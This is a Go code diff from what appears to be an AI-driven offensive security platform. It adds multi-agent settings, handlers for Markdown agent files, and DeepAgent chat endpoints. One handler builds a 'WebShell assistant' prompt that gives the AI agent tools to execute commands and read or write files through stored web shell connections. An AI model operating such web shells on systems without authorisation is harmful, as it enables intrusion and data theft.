MCP config.MCPConfig `json:"mcp"`
Tools []ToolConfigInfo `json:"tools"`
Agent config.AgentConfig `json:"agent"`
Knowledge config.KnowledgeConfig `json:"knowledge"`
Robots config.RobotsConfig `json:"robots,omitempty"`
OpenAI config.OpenAIConfig `json:"openai"`
FOFA config.FofaConfig `json:"fofa"`
MCP config.MCPConfig `json:"mcp"`
Tools []ToolConfigInfo `json:"tools"`
Agent config.AgentConfig `json:"agent"`
Knowledge config.KnowledgeConfig `json:"knowledge"`
Robots config.RobotsConfig `json:"robots,omitempty"`
MultiAgent config.MultiAgentPublic `json:"multi_agent,omitempty"`
}
// ToolConfigInfo 工具配置信息
@@ -229,14 +242,37 @@ func (h *ConfigHandler) GetConfig(c *gin.Context) {
}
}
subAgentCount := len(h.config.MultiAgent.SubAgents)
agentsDir := strings.TrimSpace(h.config.AgentsDir)
if agentsDir == "" {
agentsDir = "agents"
}
if !filepath.IsAbs(agentsDir) {
agentsDir = filepath.Join(filepath.Dir(h.configPath), agentsDir)
}
if load, err := agents.LoadMarkdownAgentsDir(agentsDir); err == nil {
subAgentCount = len(agents.MergeYAMLAndMarkdown(h.config.MultiAgent.SubAgents, load.SubAgents))
}
multiPub := config.MultiAgentPublic{
Enabled: h.config.MultiAgent.Enabled,
DefaultMode: h.config.MultiAgent.DefaultMode,
RobotUseMultiAgent: h.config.MultiAgent.RobotUseMultiAgent,
BatchUseMultiAgent: h.config.MultiAgent.BatchUseMultiAgent,
SubAgentCount: subAgentCount,
}
if strings.TrimSpace(multiPub.DefaultMode) == "" {
multiPub.DefaultMode = "single"
}
c.JSON(http.StatusOK, GetConfigResponse{
OpenAI: h.config.OpenAI,
FOFA: h.config.FOFA,
MCP: h.config.MCP,
Tools: tools,
Agent: h.config.Agent,
Knowledge: h.config.Knowledge,
Robots: h.config.Robots,
OpenAI: h.config.OpenAI,
FOFA: h.config.FOFA,
MCP: h.config.MCP,
Tools: tools,
Agent: h.config.Agent,
Knowledge: h.config.Knowledge,
Robots: h.config.Robots,
MultiAgent: multiPub,
})
}
@@ -488,13 +524,14 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
// UpdateConfigRequest 更新配置请求
type UpdateConfigRequest struct {
OpenAI *config.OpenAIConfig `json:"openai,omitempty"`
FOFA *config.FofaConfig `json:"fofa,omitempty"`
MCP *config.MCPConfig `json:"mcp,omitempty"`
Tools []ToolEnableStatus `json:"tools,omitempty"`
Agent *config.AgentConfig `json:"agent,omitempty"`
Knowledge *config.KnowledgeConfig `json:"knowledge,omitempty"`
Robots *config.RobotsConfig `json:"robots,omitempty"`
OpenAI *config.OpenAIConfig `json:"openai,omitempty"`
FOFA *config.FofaConfig `json:"fofa,omitempty"`
MCP *config.MCPConfig `json:"mcp,omitempty"`
Tools []ToolEnableStatus `json:"tools,omitempty"`
Agent *config.AgentConfig `json:"agent,omitempty"`
Knowledge *config.KnowledgeConfig `json:"knowledge,omitempty"`
Robots *config.RobotsConfig `json:"robots,omitempty"`
MultiAgent *config.MultiAgentAPIUpdate `json:"multi_agent,omitempty"`
}
// ToolEnableStatus 工具启用状态
@@ -581,6 +618,23 @@ func (h *ConfigHandler) UpdateConfig(c *gin.Context) {
)
}
// 多代理标量(sub_agents 等仍由 config.yaml 维护)
if req.MultiAgent != nil {
h.config.MultiAgent.Enabled = req.MultiAgent.Enabled
dm := strings.TrimSpace(req.MultiAgent.DefaultMode)
if dm == "multi" || dm == "single" {
h.config.MultiAgent.DefaultMode = dm
}
h.config.MultiAgent.RobotUseMultiAgent = req.MultiAgent.RobotUseMultiAgent
h.config.MultiAgent.BatchUseMultiAgent = req.MultiAgent.BatchUseMultiAgent
h.logger.Info("更新多代理配置",
zap.Bool("enabled", h.config.MultiAgent.Enabled),
zap.String("default_mode", h.config.MultiAgent.DefaultMode),
zap.Bool("robot_use_multi_agent", h.config.MultiAgent.RobotUseMultiAgent),
zap.Bool("batch_use_multi_agent", h.config.MultiAgent.BatchUseMultiAgent),
)
}
// 更新工具启用状态
if req.Tools != nil {
// 分离内部工具和外部工具
@@ -792,6 +846,16 @@ func (h *ConfigHandler) ApplyConfig(c *gin.Context) {
}
}
// 重新注册 WebShell 工具(内置工具,必须注册)
if h.webshellToolRegistrar != nil {
h.logger.Info("重新注册 WebShell 工具")
if err := h.webshellToolRegistrar(); err != nil {
h.logger.Error("重新注册 WebShell 工具失败", zap.Error(err))
} else {
h.logger.Info("WebShell 工具已重新注册")
}
}
// 重新注册Skills工具(内置工具,必须注册)
if h.skillsToolRegistrar != nil {
h.logger.Info("重新注册Skills工具")
@@ -889,6 +953,7 @@ func (h *ConfigHandler) saveConfig() error {
updateFOFAConfig(root, h.config.FOFA)
updateKnowledgeConfig(root, h.config.Knowledge)
updateRobotsConfig(root, h.config.Robots)
updateMultiAgentConfig(root, h.config.MultiAgent)
// 更新外部MCP配置(使用external_mcp.go中的函数,同一包中可直接调用)
// 读取原始配置以保持向后兼容
originalConfigs := make(map[string]map[string]bool)
@@ -1098,6 +1163,15 @@ func updateRobotsConfig(doc *yaml.Node, cfg config.RobotsConfig) {
setStringInMap(larkNode, "verify_token", cfg.Lark.VerifyToken)
}
func updateMultiAgentConfig(doc *yaml.Node, cfg config.MultiAgentConfig) {
root := doc.Content[0]
maNode := ensureMap(root, "multi_agent")
setBoolInMap(maNode, "enabled", cfg.Enabled)
setStringInMap(maNode, "default_mode", cfg.DefaultMode)
setBoolInMap(maNode, "robot_use_multi_agent", cfg.RobotUseMultiAgent)
setBoolInMap(maNode, "batch_use_multi_agent", cfg.BatchUseMultiAgent)
}
func ensureMap(parent *yaml.Node, path ...string) *yaml.Node {
current := parent
for _, key := range path {
+299
View File
@@ -0,0 +1,299 @@
package handler
import (
"fmt"
"net/http"
"os"
"path/filepath"
"regexp"
"strings"
"cyberstrike-ai/internal/agents"
"cyberstrike-ai/internal/config"
"github.com/gin-gonic/gin"
)
var markdownAgentFilenameRe = regexp.MustCompile(`^[a-zA-Z0-9][a-zA-Z0-9_.-]*\.md$`)
// MarkdownAgentsHandler 管理 agents 目录下子代理 Markdown(增删改查)。
type MarkdownAgentsHandler struct {
dir string
}
// NewMarkdownAgentsHandler dir 须为已解析的绝对路径。
func NewMarkdownAgentsHandler(dir string) *MarkdownAgentsHandler {
return &MarkdownAgentsHandler{dir: strings.TrimSpace(dir)}
}
func (h *MarkdownAgentsHandler) safeJoin(filename string) (string, error) {
filename = strings.TrimSpace(filename)
if filename == "" || !markdownAgentFilenameRe.MatchString(filename) {
return "", fmt.Errorf("非法文件名")
}
clean := filepath.Clean(filename)
if clean != filename || strings.Contains(clean, "..") {
return "", fmt.Errorf("非法文件名")
}
return filepath.Join(h.dir, clean), nil
}
// existingOtherOrchestrator 若目录中已有别的主代理文件,返回其文件名;writingBasename 为当前正在写入的文件名时视为同一文件不冲突。
func existingOtherOrchestrator(dir, writingBasename string) (other string, err error) {
load, err := agents.LoadMarkdownAgentsDir(dir)
if err != nil {
return "", err
}
if load.Orchestrator == nil {
return "", nil
}
if strings.EqualFold(load.Orchestrator.Filename, writingBasename) {
return "", nil
}
return load.Orchestrator.Filename, nil
}
// ListMarkdownAgents GET /api/multi-agent/markdown-agents
func (h *MarkdownAgentsHandler) ListMarkdownAgents(c *gin.Context) {
if h.dir == "" {
c.JSON(http.StatusOK, gin.H{"agents": []any{}, "dir": "", "error": "未配置 agents 目录"})
return
}
files, err := agents.LoadMarkdownAgentFiles(h.dir)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
out := make([]gin.H, 0, len(files))
for _, fa := range files {
sub := fa.Config
out = append(out, gin.H{
"filename": fa.Filename,
"id": sub.ID,
"name": sub.Name,
"description": sub.Description,
"is_orchestrator": fa.IsOrchestrator,
"kind": sub.Kind,
})
}
c.JSON(http.StatusOK, gin.H{"agents": out, "dir": h.dir})
}
// GetMarkdownAgent GET /api/multi-agent/markdown-agents/:filename
func (h *MarkdownAgentsHandler) GetMarkdownAgent(c *gin.Context) {
filename := c.Param("filename")
path, err := h.safeJoin(filename)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
b, err := os.ReadFile(path)
if err != nil {
if os.IsNotExist(err) {
c.JSON(http.StatusNotFound, gin.H{"error": "文件不存在"})
return
}
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
sub, err := agents.ParseMarkdownSubAgent(filename, string(b))
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
isOrch := agents.IsOrchestratorMarkdown(filename, agents.FrontMatter{Kind: sub.Kind})
c.JSON(http.StatusOK, gin.H{
"filename": filename,
"raw": string(b),
"id": sub.ID,
"name": sub.Name,
"description": sub.Description,
"tools": sub.RoleTools,
"instruction": sub.Instruction,
"bind_role": sub.BindRole,
"max_iterations": sub.MaxIterations,
"kind": sub.Kind,
"is_orchestrator": isOrch,
})
}
type markdownAgentBody struct {
Filename string `json:"filename"`
ID string `json:"id"`
Name string `json:"name"`
Description string `json:"description"`
Tools []string `json:"tools"`
Instruction string `json:"instruction"`
BindRole string `json:"bind_role"`
MaxIterations int `json:"max_iterations"`
Kind string `json:"kind"`
Raw string `json:"raw"`
}
// CreateMarkdownAgent POST /api/multi-agent/markdown-agents
func (h *MarkdownAgentsHandler) CreateMarkdownAgent(c *gin.Context) {
if h.dir == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "未配置 agents 目录"})
return
}
var body markdownAgentBody
if err := c.ShouldBindJSON(&body); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
filename := strings.TrimSpace(body.Filename)
if filename == "" {
if strings.EqualFold(strings.TrimSpace(body.Kind), "orchestrator") {
filename = agents.OrchestratorMarkdownFilename
} else {
base := agents.SlugID(body.Name)
if base == "" {
base = "agent"
}
filename = base + ".md"
}
}
path, err := h.safeJoin(filename)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if _, err := os.Stat(path); err == nil {
c.JSON(http.StatusConflict, gin.H{"error": "文件已存在"})
return
}
sub := config.MultiAgentSubConfig{
ID: strings.TrimSpace(body.ID),
Name: strings.TrimSpace(body.Name),
Description: strings.TrimSpace(body.Description),
Instruction: strings.TrimSpace(body.Instruction),
RoleTools: body.Tools,
BindRole: strings.TrimSpace(body.BindRole),
MaxIterations: body.MaxIterations,
Kind: strings.TrimSpace(body.Kind),
}
if strings.EqualFold(filepath.Base(path), agents.OrchestratorMarkdownFilename) && sub.Kind == "" {
sub.Kind = "orchestrator"
}
if sub.ID == "" {
sub.ID = agents.SlugID(sub.Name)
}
if sub.Name == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "name 必填"})
return
}
var out []byte
if strings.TrimSpace(body.Raw) != "" {
out = []byte(body.Raw)
} else {
out, err = agents.BuildMarkdownFile(sub)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
}
if want := agents.WantsMarkdownOrchestrator(filepath.Base(path), body.Kind, string(out)); want {
other, oerr := existingOtherOrchestrator(h.dir, filepath.Base(path))
if oerr != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": oerr.Error()})
return
}
if other != "" {
c.JSON(http.StatusConflict, gin.H{"error": fmt.Sprintf("已存在主代理定义:%s,请先删除或取消其主代理标记", other)})
return
}
}
if err := os.MkdirAll(h.dir, 0755); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if err := os.WriteFile(path, out, 0644); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"filename": filepath.Base(path), "message": "已创建"})
}
// UpdateMarkdownAgent PUT /api/multi-agent/markdown-agents/:filename
func (h *MarkdownAgentsHandler) UpdateMarkdownAgent(c *gin.Context) {
filename := c.Param("filename")
path, err := h.safeJoin(filename)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
var body markdownAgentBody
if err := c.ShouldBindJSON(&body); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
sub := config.MultiAgentSubConfig{
ID: strings.TrimSpace(body.ID),
Name: strings.TrimSpace(body.Name),
Description: strings.TrimSpace(body.Description),
Instruction: strings.TrimSpace(body.Instruction),
RoleTools: body.Tools,
BindRole: strings.TrimSpace(body.BindRole),
MaxIterations: body.MaxIterations,
Kind: strings.TrimSpace(body.Kind),
}
if strings.EqualFold(filename, agents.OrchestratorMarkdownFilename) && sub.Kind == "" {
sub.Kind = "orchestrator"
}
if sub.Name == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "name 必填"})
return
}
if sub.ID == "" {
sub.ID = agents.SlugID(sub.Name)
}
var out []byte
if strings.TrimSpace(body.Raw) != "" {
out = []byte(body.Raw)
} else {
out, err = agents.BuildMarkdownFile(sub)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
}
if want := agents.WantsMarkdownOrchestrator(filename, body.Kind, string(out)); want {
other, oerr := existingOtherOrchestrator(h.dir, filename)
if oerr != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": oerr.Error()})
return
}
if other != "" {
c.JSON(http.StatusConflict, gin.H{"error": fmt.Sprintf("已存在主代理定义:%s,请先删除或取消其主代理标记", other)})
return
}
}
if err := os.WriteFile(path, out, 0644); err != nil {
if os.IsNotExist(err) {
c.JSON(http.StatusNotFound, gin.H{"error": "文件不存在"})
return
}
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"message": "已保存"})
}
// DeleteMarkdownAgent DELETE /api/multi-agent/markdown-agents/:filename
func (h *MarkdownAgentsHandler) DeleteMarkdownAgent(c *gin.Context) {
filename := c.Param("filename")
path, err := h.safeJoin(filename)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if err := os.Remove(path); err != nil {
if os.IsNotExist(err) {
c.JSON(http.StatusNotFound, gin.H{"error": "文件不存在"})
return
}
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"message": "已删除"})
}
+298
View File
@@ -0,0 +1,298 @@
package handler
import (
"context"
"encoding/json"
"errors"
"fmt"
"net/http"
"strings"
"time"
"cyberstrike-ai/internal/multiagent"
"github.com/gin-gonic/gin"
"go.uber.org/zap"
)
// MultiAgentLoopStream Eino DeepAgent 流式对话(需 config.multi_agent.enabled)。
func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
c.Header("Content-Type", "text/event-stream")
c.Header("Cache-Control", "no-cache")
c.Header("Connection", "keep-alive")
if h.config == nil || !h.config.MultiAgent.Enabled {
ev := StreamEvent{Type: "error", Message: "多代理未启用,请在设置或 config.yaml 中开启 multi_agent.enabled"}
b, _ := json.Marshal(ev)
fmt.Fprintf(c.Writer, "data: %s\n\n", b)
done := StreamEvent{Type: "done", Message: ""}
db, _ := json.Marshal(done)
fmt.Fprintf(c.Writer, "data: %s\n\n", db)
if flusher, ok := c.Writer.(http.Flusher); ok {
flusher.Flush()
}
return
}
var req ChatRequest
if err := c.ShouldBindJSON(&req); err != nil {
event := StreamEvent{Type: "error", Message: "请求参数错误: " + err.Error()}
b, _ := json.Marshal(event)
fmt.Fprintf(c.Writer, "data: %s\n\n", b)
c.Writer.Flush()
return
}
c.Header("X-Accel-Buffering", "no")
// 用于在 sendEvent 中判断是否为用户主动停止导致的取消。
// 注意:baseCtx 会在后面创建;该变量用于闭包提前捕获引用。
var baseCtx context.Context
clientDisconnected := false
sendEvent := func(eventType, message string, data interface{}) {
if clientDisconnected {
return
}
// 用户主动停止时,Eino 可能仍会并发上报 eventType=="error"。
// 为避免 UI 看到“取消错误 + cancelled 文案”两条回复,这里直接丢弃取消对应的 error。
if eventType == "error" && baseCtx != nil && errors.Is(context.Cause(baseCtx), ErrTaskCancelled) {
return
}
select {
case <-c.Request.Context().Done():
clientDisconnected = true
return
default:
}
ev := StreamEvent{Type: eventType, Message: message, Data: data}
b, _ := json.Marshal(ev)
if _, err := fmt.Fprintf(c.Writer, "data: %s\n\n", b); err != nil {
clientDisconnected = true
return
}
if flusher, ok := c.Writer.(http.Flusher); ok {
flusher.Flush()
} else {
c.Writer.Flush()
}
}
h.logger.Info("收到 Eino DeepAgent 流式请求",
zap.String("conversationId", req.ConversationID),
)
prep, err := h.prepareMultiAgentSession(&req)
if err != nil {
sendEvent("error", err.Error(), nil)
sendEvent("done", "", nil)
return
}
if prep.CreatedNew {
sendEvent("conversation", "会话已创建", map[string]interface{}{
"conversationId": prep.ConversationID,
})
}
conversationID := prep.ConversationID
assistantMessageID := prep.AssistantMessageID
progressCallback := h.createProgressCallback(conversationID, assistantMessageID, sendEvent)
baseCtx, cancelWithCause := context.WithCancelCause(context.Background())
taskCtx, timeoutCancel := context.WithTimeout(baseCtx, 600*time.Minute)
defer timeoutCancel()
defer cancelWithCause(nil)
if _, err := h.tasks.StartTask(conversationID, req.Message, cancelWithCause); err != nil {
var errorMsg string
if errors.Is(err, ErrTaskAlreadyRunning) {
errorMsg = "⚠️ 当前会话已有任务正在执行中,请等待当前任务完成或点击「停止任务」后再尝试。"
sendEvent("error", errorMsg, map[string]interface{}{
"conversationId": conversationID,
"errorType": "task_already_running",
})
} else {
errorMsg = "❌ 无法启动任务: " + err.Error()
sendEvent("error", errorMsg, nil)
}
if assistantMessageID != "" {
_, _ = h.db.Exec("UPDATE messages SET content = ? WHERE id = ?", errorMsg, assistantMessageID)
}
sendEvent("done", "", map[string]interface{}{"conversationId": conversationID})
return
}
taskStatus := "completed"
defer h.tasks.FinishTask(conversationID, taskStatus)
sendEvent("progress", "正在启动 Eino DeepAgent...", map[string]interface{}{
"conversationId": conversationID,
})
result, runErr := multiagent.RunDeepAgent(
taskCtx,
h.config,
&h.config.MultiAgent,
h.agent,
h.logger,
conversationID,
prep.FinalMessage,
prep.History,
prep.RoleTools,
progressCallback,
h.agentsMarkdownDir,
)
if runErr != nil {
cause := context.Cause(baseCtx)
if errors.Is(cause, ErrTaskCancelled) {
taskStatus = "cancelled"
h.tasks.UpdateTaskStatus(conversationID, taskStatus)
cancelMsg := "任务已被用户取消,后续操作已停止。"
if assistantMessageID != "" {
_, _ = h.db.Exec("UPDATE messages SET content = ? WHERE id = ?", cancelMsg, assistantMessageID)
_ = h.db.AddProcessDetail(assistantMessageID, conversationID, "cancelled", cancelMsg, nil)
}
sendEvent("cancelled", cancelMsg, map[string]interface{}{
"conversationId": conversationID,
"messageId": assistantMessageID,
})
sendEvent("done", "", map[string]interface{}{"conversationId": conversationID})
return
}
h.logger.Error("Eino DeepAgent 执行失败", zap.Error(runErr))
taskStatus = "failed"
h.tasks.UpdateTaskStatus(conversationID, taskStatus)
errMsg := "执行失败: " + runErr.Error()
if assistantMessageID != "" {
_, _ = h.db.Exec("UPDATE messages SET content = ? WHERE id = ?", errMsg, assistantMessageID)
_ = h.db.AddProcessDetail(assistantMessageID, conversationID, "error", errMsg, nil)
}
sendEvent("error", errMsg, map[string]interface{}{
"conversationId": conversationID,
"messageId": assistantMessageID,
})
sendEvent("done", "", map[string]interface{}{"conversationId": conversationID})
return
}
if assistantMessageID != "" {
mcpIDsJSON := ""
if len(result.MCPExecutionIDs) > 0 {
jsonData, _ := json.Marshal(result.MCPExecutionIDs)
mcpIDsJSON = string(jsonData)
}
_, _ = h.db.Exec(
"UPDATE messages SET content = ?, mcp_execution_ids = ? WHERE id = ?",
result.Response,
mcpIDsJSON,
assistantMessageID,
)
}
if result.LastReActInput != "" || result.LastReActOutput != "" {
if err := h.db.SaveReActData(conversationID, result.LastReActInput, result.LastReActOutput); err != nil {
h.logger.Warn("保存 ReAct 数据失败", zap.Error(err))
}
}
sendEvent("response", result.Response, map[string]interface{}{
"mcpExecutionIds": result.MCPExecutionIDs,
"conversationId": conversationID,
"messageId": assistantMessageID,
"agentMode": "eino_deep",
})
sendEvent("done", "", map[string]interface{}{"conversationId": conversationID})
}
// MultiAgentLoop Eino DeepAgent 非流式对话(与 POST /api/agent-loop 对齐,需 multi_agent.enabled)。
func (h *AgentHandler) MultiAgentLoop(c *gin.Context) {
if h.config == nil || !h.config.MultiAgent.Enabled {
c.JSON(http.StatusNotFound, gin.H{"error": "多代理未启用,请在 config.yaml 中设置 multi_agent.enabled: true"})
return
}
var req ChatRequest
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
h.logger.Info("收到 Eino DeepAgent 非流式请求", zap.String("conversationId", req.ConversationID))
prep, err := h.prepareMultiAgentSession(&req)
if err != nil {
status, msg := multiAgentHTTPErrorStatus(err)
c.JSON(status, gin.H{"error": msg})
return
}
result, runErr := multiagent.RunDeepAgent(
c.Request.Context(),
h.config,
&h.config.MultiAgent,
h.agent,
h.logger,
prep.ConversationID,
prep.FinalMessage,
prep.History,
prep.RoleTools,
nil,
h.agentsMarkdownDir,
)
if runErr != nil {
h.logger.Error("Eino DeepAgent 执行失败", zap.Error(runErr))
errMsg := "执行失败: " + runErr.Error()
if prep.AssistantMessageID != "" {
_, _ = h.db.Exec("UPDATE messages SET content = ? WHERE id = ?", errMsg, prep.AssistantMessageID)
}
c.JSON(http.StatusInternalServerError, gin.H{"error": errMsg})
return
}
if prep.AssistantMessageID != "" {
mcpIDsJSON := ""
if len(result.MCPExecutionIDs) > 0 {
jsonData, _ := json.Marshal(result.MCPExecutionIDs)
mcpIDsJSON = string(jsonData)
}
_, _ = h.db.Exec(
"UPDATE messages SET content = ?, mcp_execution_ids = ? WHERE id = ?",
result.Response,
mcpIDsJSON,
prep.AssistantMessageID,
)
}
if result.LastReActInput != "" || result.LastReActOutput != "" {
if err := h.db.SaveReActData(prep.ConversationID, result.LastReActInput, result.LastReActOutput); err != nil {
h.logger.Warn("保存 ReAct 数据失败", zap.Error(err))
}
}
c.JSON(http.StatusOK, ChatResponse{
Response: result.Response,
MCPExecutionIDs: result.MCPExecutionIDs,
ConversationID: prep.ConversationID,
Time: time.Now(),
})
}
func multiAgentHTTPErrorStatus(err error) (int, string) {
msg := err.Error()
switch {
case strings.Contains(msg, "对话不存在"):
return http.StatusNotFound, msg
case strings.Contains(msg, "未找到该 WebShell"):
return http.StatusBadRequest, msg
case strings.Contains(msg, "附件最多"):
return http.StatusBadRequest, msg
case strings.Contains(msg, "保存用户消息失败"), strings.Contains(msg, "创建对话失败"):
return http.StatusInternalServerError, msg
case strings.Contains(msg, "保存上传文件失败"):
return http.StatusInternalServerError, msg
default:
return http.StatusBadRequest, msg
}
}
+133
View File
@@ -0,0 +1,133 @@
package handler
import (
"fmt"
"strings"
"cyberstrike-ai/internal/agent"
"cyberstrike-ai/internal/database"
"cyberstrike-ai/internal/mcp/builtin"
"go.uber.org/zap"
)
// multiAgentPrepared 多代理请求在调用 Eino 前的会话与消息准备结果。
type multiAgentPrepared struct {
ConversationID string
CreatedNew bool
History []agent.ChatMessage
FinalMessage string
RoleTools []string
AssistantMessageID string
}
func (h *AgentHandler) prepareMultiAgentSession(req *ChatRequest) (*multiAgentPrepared, error) {
if len(req.Attachments) > maxAttachments {
return nil, fmt.Errorf("附件最多 %d 个", maxAttachments)
}
conversationID := strings.TrimSpace(req.ConversationID)
createdNew := false
if conversationID == "" {
title := safeTruncateString(req.Message, 50)
var conv *database.Conversation
var err error
if strings.TrimSpace(req.WebShellConnectionID) != "" {
conv, err = h.db.CreateConversationWithWebshell(strings.TrimSpace(req.WebShellConnectionID), title)
} else {
conv, err = h.db.CreateConversation(title)
}
if err != nil {
return nil, fmt.Errorf("创建对话失败: %w", err)
}
conversationID = conv.ID
createdNew = true
} else {
if _, err := h.db.GetConversation(conversationID); err != nil {
return nil, fmt.Errorf("对话不存在")
}
}
agentHistoryMessages, err := h.loadHistoryFromReActData(conversationID)
if err != nil {
historyMessages, getErr := h.db.GetMessages(conversationID)
if getErr != nil {
agentHistoryMessages = []agent.ChatMessage{}
} else {
agentHistoryMessages = make([]agent.ChatMessage, 0, len(historyMessages))
for _, msg := range historyMessages {
agentHistoryMessages = append(agentHistoryMessages, agent.ChatMessage{
Role: msg.Role,
Content: msg.Content,
})
}
}
}
finalMessage := req.Message
var roleTools []string
if req.WebShellConnectionID != "" {
conn, errConn := h.db.GetWebshellConnection(strings.TrimSpace(req.WebShellConnectionID))
if errConn != nil || conn == nil {
h.logger.Warn("WebShell AI 助手:未找到连接", zap.String("id", req.WebShellConnectionID), zap.Error(errConn))
return nil, fmt.Errorf("未找到该 WebShell 连接")
}
remark := conn.Remark
if remark == "" {
remark = conn.URL
}
finalMessage = fmt.Sprintf("[WebShell 助手上下文] 当前连接 ID:%s,备注:%s。可用工具(仅在该连接上操作时使用,connection_id 填 \"%s\"):webshell_exec、webshell_file_list、webshell_file_read、webshell_file_write、record_vulnerability、list_knowledge_risk_types、search_knowledge_base、list_skills、read_skill。请根据用户输入决定下一步:若仅为问候、闲聊或简单问题,直接简短回复即可,不必调用工具;当用户明确需要执行命令、列目录、读写文件、记录漏洞或检索知识库/查看 Skills 等操作时再调用上述工具。\n\n用户请求:%s",
conn.ID, remark, conn.ID, req.Message)
roleTools = []string{
builtin.ToolWebshellExec,
builtin.ToolWebshellFileList,
builtin.ToolWebshellFileRead,
builtin.ToolWebshellFileWrite,
builtin.ToolRecordVulnerability,
builtin.ToolListKnowledgeRiskTypes,
builtin.ToolSearchKnowledgeBase,
builtin.ToolListSkills,
builtin.ToolReadSkill,
}
} else if req.Role != "" && req.Role != "默认" && h.config != nil && h.config.Roles != nil {
if role, exists := h.config.Roles[req.Role]; exists && role.Enabled {
if role.UserPrompt != "" {
finalMessage = role.UserPrompt + "\n\n" + req.Message
}
roleTools = role.Tools
}
}
var savedPaths []string
if len(req.Attachments) > 0 {
var aerr error
savedPaths, aerr = saveAttachmentsToDateAndConversationDir(req.Attachments, conversationID, h.logger)
if aerr != nil {
return nil, fmt.Errorf("保存上传文件失败: %w", aerr)
}
}
finalMessage = appendAttachmentsToMessage(finalMessage, req.Attachments, savedPaths)
userContent := userMessageContentForStorage(req.Message, req.Attachments, savedPaths)
if _, err = h.db.AddMessage(conversationID, "user", userContent, nil); err != nil {
h.logger.Error("保存用户消息失败", zap.Error(err))
return nil, fmt.Errorf("保存用户消息失败: %w", err)
}
assistantMsg, aerr := h.db.AddMessage(conversationID, "assistant", "处理中...", nil)
var assistantMessageID string
if aerr != nil {
h.logger.Warn("创建助手消息占位失败", zap.Error(aerr))
} else if assistantMsg != nil {
assistantMessageID = assistantMsg.ID
}
return &multiAgentPrepared{
ConversationID: conversationID,
CreatedNew: createdNew,
History: agentHistoryMessages,
FinalMessage: finalMessage,
RoleTools: roleTools,
AssistantMessageID: assistantMessageID,
}, nil
}
+86
View File
@@ -1481,6 +1481,91 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
},
},
},
"/api/multi-agent": map[string]interface{}{
"post": map[string]interface{}{
"tags": []string{"对话交互"},
"summary": "发送消息并获取 AI 回复(Eino DeepAgent,非流式)",
"description": "与 `POST /api/agent-loop` 请求体相同,但由 **CloudWeGo Eino DeepAgent** 执行多代理编排。**前提**`multi_agent.enabled: true`(可在设置页或 `config.yaml` 开启);未启用时返回 404 JSON。请求体支持 `webshellConnectionId`(与单代理 WebShell 助手一致)。",
"operationId": "sendMessageMultiAgent",
"requestBody": map[string]interface{}{
"required": true,
"content": map[string]interface{}{
"application/json": map[string]interface{}{
"schema": map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"message": map[string]interface{}{
"type": "string",
"description": "要发送的消息(必需)",
},
"conversationId": map[string]interface{}{
"type": "string",
"description": "对话 ID(可选,不提供则新建)",
},
"role": map[string]interface{}{
"type": "string",
"description": "角色名称(可选)",
},
"webshellConnectionId": map[string]interface{}{
"type": "string",
"description": "WebShell 连接 ID(可选,与 agent-loop 行为一致)",
},
},
"required": []string{"message"},
},
},
},
},
"responses": map[string]interface{}{
"200": map[string]interface{}{
"description": "成功,响应格式同 /api/agent-loop",
},
"400": map[string]interface{}{"description": "参数错误"},
"401": map[string]interface{}{"description": "未授权"},
"404": map[string]interface{}{"description": "多代理未启用或对话不存在"},
"500": map[string]interface{}{"description": "执行失败"},
},
},
},
"/api/multi-agent/stream": map[string]interface{}{
"post": map[string]interface{}{
"tags": []string{"对话交互"},
"summary": "发送消息并获取 AI 回复(Eino DeepAgentSSE",
"description": "与 `POST /api/agent-loop/stream` 类似,事件类型兼容;由 Eino DeepAgent 执行。**前提**`multi_agent.enabled: true`;路由常注册,未启用时仍返回 200 SSE,流内首条为 `type: error` 后接 `done`。支持 `webshellConnectionId`。",
"operationId": "sendMessageMultiAgentStream",
"requestBody": map[string]interface{}{
"required": true,
"content": map[string]interface{}{
"application/json": map[string]interface{}{
"schema": map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"message": map[string]interface{}{"type": "string"},
"conversationId": map[string]interface{}{"type": "string"},
"role": map[string]interface{}{"type": "string"},
"webshellConnectionId": map[string]interface{}{"type": "string"},
},
"required": []string{"message"},
},
},
},
},
"responses": map[string]interface{}{
"200": map[string]interface{}{
"description": "text/event-streamSSE",
"content": map[string]interface{}{
"text/event-stream": map[string]interface{}{
"schema": map[string]interface{}{
"type": "string",
"description": "SSE 流",
},
},
},
},
"401": map[string]interface{}{"description": "未授权"},
},
},
},
"/api/agent-loop/cancel": map[string]interface{}{
"post": map[string]interface{}{
"tags": []string{"对话交互"},
@@ -4411,6 +4496,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
},
}
enrichSpecWithI18nKeys(spec)
c.JSON(http.StatusOK, spec)
}
+139
View File
